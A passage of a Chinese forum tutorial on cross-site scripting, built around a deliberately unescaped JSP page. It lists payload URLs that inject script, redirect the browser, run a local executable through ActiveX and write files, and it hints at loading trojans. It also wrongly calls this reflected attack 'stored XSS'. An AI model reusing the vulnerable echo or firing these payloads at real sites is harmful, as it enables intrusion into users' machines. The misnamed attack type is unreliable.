前言
大家好,好男人就是我,我就是好男人,我就是-0nise。在各大漏洞舉報平台,我們時常會看到XSS漏洞。那么問題來了,為何會出現這種漏洞?出現這種漏洞應該怎么修復?
目錄
1.XSS?XSS?XSS是什么鬼?
2.XSS的危害有多大?
3.如何避免XSS漏洞的出現
正文
1.XSS?XSS?XSS是什么鬼?
XSS又叫跨站腳本攻擊(Cross Site Scripting),我不會告訴他原本是叫CSS的,但是為了不和我們所用的層疊樣式表(Cascading Style Sheets)CSS搞混。CSS(跨站腳本攻擊),CSS(層疊樣式表)傻傻分不清。所以就叫XSS咯。
2.XSS的危害是什么?
實驗一:
0x00構造代碼
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>My JSP 'index.jsp' starting page</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
</head>
<body>
<div style="margin: 0 auto">
<%
//設置編碼
request.setCharacterEncoding("UTF-8");
//接收用戶傳入值
String tmp = request.getParameter("opr");
//減速傳入值是否為空
if(tmp == null){
out.print("111");
}else{
//轉碼
String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8");
out.print(opr);
}
%>
我是內容
</div>
</body>
</html>
|
0x01環境布局
0x02漏洞演練
我們訪問:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B
然后訪問:http://localhost:8080/XSS/index.jsp?opr=0nise
最后我們發現了一個“偉大的規律”:
opr參數等於什么頁面就打印什么。(好像是廢話)
我們接着來加載一個圖片看看
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E
既然圖片都可以加載,那么我們JS文件是不是也闊以加載呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
Js?Js?那么是不是可以來改變跳轉后地址?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E
既然xss都可以加載js,那么,我們是不是通過js來打開本地的某些東西?
提前放了一個MD5.exe文件
訪問:http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
既然連本地文件都可以打開那么遠程文件木馬?來個電腦惡搞?這個自己慢慢象限。我可沒說啊。。。。。
文件都可以打開,那么寫一些文件呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d:\\test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
通過以上實驗我們可以看出opr參數賦值操作。如果opr參數沒有值的話,就無法執行執行,被攻擊者必須訪問攻擊者提前設計好的才能攻擊。這種XSS攻擊方式叫做:存儲型XSS
如果你想看到更給力的實驗,請接着往下看。
實驗二:
前言:
大部分網站都會和數據打交道那么,XSS漏洞出現這些網站是什么樣子的?
..................想查看全文請看這里》》》》原文地址:http://bbs.ichunqiu.com/thread-10891-1-1.html?from=bky
